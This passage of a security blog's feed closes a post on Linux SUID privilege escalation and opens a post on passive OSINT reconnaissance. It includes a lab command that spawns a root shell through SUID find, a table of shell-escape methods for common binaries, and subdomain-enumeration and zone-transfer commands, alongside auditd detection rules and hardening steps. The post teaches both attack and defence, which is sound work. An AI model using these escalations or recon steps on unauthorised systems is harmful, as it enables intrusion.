&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Indicator&lt;/th&gt;&lt;th&gt;Data Source&lt;/th&gt;&lt;th&gt;Rule Logic&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;New SUID binary created&lt;/td&gt;&lt;td&gt;auditd / inotify&lt;/td&gt;&lt;td&gt;&lt;code&gt;find / -newer /tmp -perm -4000&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SUID binary executes shell&lt;/td&gt;&lt;td&gt;auditd execve&lt;/td&gt;&lt;td&gt;parent=suid_binary, child=/bin/sh&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Unexpected SUID owner&lt;/td&gt;&lt;td&gt;file integrity&lt;/td&gt;&lt;td&gt;owner=root AND path NOT IN baseline&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;-p&lt;/code&gt; flag passed to shell&lt;/td&gt;&lt;td&gt;process args&lt;/td&gt;&lt;td&gt;&lt;code&gt;sh -p&lt;/code&gt; OR &lt;code&gt;bash -p&lt;/code&gt; in cmdline&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;hardening-commands&quot;&gt;Hardening Commands&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Audit all SUID binaries — save a baseline&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -4000&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/root/suid_baseline.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Remove SUID from a specific binary&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;chmod&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; u-s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /path/to/binary&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Mount partitions with nosuid to prevent SUID on those filesystems&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# In /etc/fstab:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# /dev/sdb1 /data ext4 defaults,nosuid,noexec 0 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# AppArmor profile enforcement&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;aa-enforce&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /usr/bin/find&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Verify binary integrity against the package manager&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dpkg&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --verify&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;    # Debian/Ubuntu&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;rpm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -Va&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;          # RHEL/CentOS&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;recommended-monitoring-rules-auditd&quot;&gt;Recommended Monitoring Rules (auditd)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# /etc/audit/rules.d/suid.rules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Monitor SUID binary execution&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-a&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; always,exit&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; arch=b64&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; execve&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; euid=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; auid&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=1000&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -k&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; suid_exec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Monitor chmod/chown changing the SUID bit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-a&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; always,exit&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; arch=b64&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; fchmod&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; fchmodat&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; a1=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;04755&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -k&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; suid_create&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;lab-setup&quot;&gt;Lab Setup&lt;/h2&gt;
&lt;p&gt;To practice these techniques safely, spin up a vulnerable VM:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Vagrant — intentionally vulnerable Linux box&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vagrant&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; init&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; bento/ubuntu-22.04&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vagrant&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; up&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vagrant&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ssh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Manually configure a vulnerable binary for practice&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; u+s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /usr/bin/find&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -exec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /bin/sh&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -quit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, use dedicated platforms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HackTheBox&lt;/strong&gt; — Privilege escalation machines on Linux&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TryHackMe&lt;/strong&gt; — “Linux PrivEsc” room&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VulnHub&lt;/strong&gt; — Kioptrix, Mr. Robot series&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Binary&lt;/th&gt;&lt;th&gt;Exploit Method&lt;/th&gt;&lt;th&gt;Difficulty&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;find&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;-exec /bin/sh -p&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Easy&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;os.execl(&amp;#x26;quot;/bin/sh&amp;#x26;quot;,&amp;#x26;quot;sh&amp;#x26;quot;,&amp;#x26;quot;-p&amp;#x26;quot;)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Easy&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;vim&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;:!sh -p&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Easy&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;bash&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;bash -p&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Easy&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;tar&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;--checkpoint-action=exec&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;--interactive&lt;/code&gt; (legacy)&lt;/td&gt;&lt;td&gt;Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;awk&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;system(&amp;#x26;quot;/bin/sh&amp;#x26;quot;)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Easy&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The key takeaway from all this: &lt;strong&gt;any&lt;/strong&gt; SUID-enabled binary that allows arbitrary code execution or shell spawn is a path to root. Always enumerate SUID binaries as part of your Linux privilege escalation checklist.&amp;#x3C;/unistd.h&gt;&amp;#x3C;/stdio.h&gt;&lt;/p&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>privesc</category><category>suid</category><category>linux</category><category>privesc</category><category>gtfobins</category><category>setuid</category><category>enumeration</category><difficulty>medium</difficulty></item><item><title>Passive Recon &amp; OSINT — Mapping the Target Without Making Noise</title><link>https://www.kbmsecurity.com.br/blog/post/passive-recon-osint-en/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/passive-recon-osint-en/</guid><description>Passive reconnaissance and OSINT techniques to map infrastructure, employees, and attack surface before any active engagement.</description><pubDate>Tue, 07 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-is-passive-reconnaissance&quot;&gt;What is Passive Reconnaissance?&lt;/h2&gt;
&lt;p&gt;Passive reconnaissance is the intelligence gathering phase where the operator &lt;strong&gt;never interacts directly&lt;/strong&gt; with the target infrastructure. All information is obtained through open sources (OSINT — Open Source Intelligence) or public intermediaries.&lt;/p&gt;
&lt;p&gt;The critical advantage: &lt;strong&gt;zero logs on the target&lt;/strong&gt;. No client IDS, WAF, or SIEM will see your activity.&lt;/p&gt;
&lt;p&gt;&gt; &lt;strong&gt;Golden rule:&lt;/strong&gt; the more you know before touching the network, the smaller your exposure surface during active engagement.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;phase-1--domain-footprinting&quot;&gt;Phase 1 — Domain Footprinting&lt;/h2&gt;
&lt;h3 id=&quot;whois-and-dns-records&quot;&gt;WHOIS and DNS Records&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Domain registration information&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;whois&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Fundamental DNS queries&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ANY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; MX&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; NS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; TXT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Zone transfer (often blocked, but worth trying)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; axfr&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; @ns1.target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Subdomains via certificate transparency&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -s&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;https://crt.sh/?q&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=%.target.com&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;output&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=json&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;jq&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;.[].name_value&amp;#x26;#x27; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;amass--subdomain-enumeration&quot;&gt;Amass — Subdomain Enumeration&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/owasp-amass/amass&quot;&gt;Amass&lt;/a&gt; is the go-to tool for passive subdomain enumeration. It aggregates dozens of public sources.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Installation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;go&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; github.com/owasp-amass/amass/v4/...@master&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Pure passive enumeration (no brute force)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amass&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; enum&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -passive&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; amass_output.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# With all data sources (requires API keys)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amass&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; enum&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -passive&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -config&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ~/.config/amass/config.ini&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; subdomains.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Asset graph visualization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amass&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; viz&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d3&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; graph.html&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;subfinder--fast-and-silent&quot;&gt;Subfinder — Fast and Silent&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Installation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;go&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Passive enumeration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;subfinder&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -all&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -recursive&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; subfinder_out.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# With automatic resolution&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;subfinder&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -all&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dnsx&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -silent&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;phase-2--google-dorks&quot;&gt;Phase 2 — Google Dorks&lt;/h2&gt;
&lt;p&gt;Google Dorks are advanced search operators that reveal sensitive information that has been accidentally indexed.&lt;/p&gt;
&lt;h3 id=&quot;essential-dorks&quot;&gt;Essential Dorks&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Subdomains and related hosts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Excluding the main domain (reveals subdomains)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -www&lt;/span&gt;&lt;/span&gt;
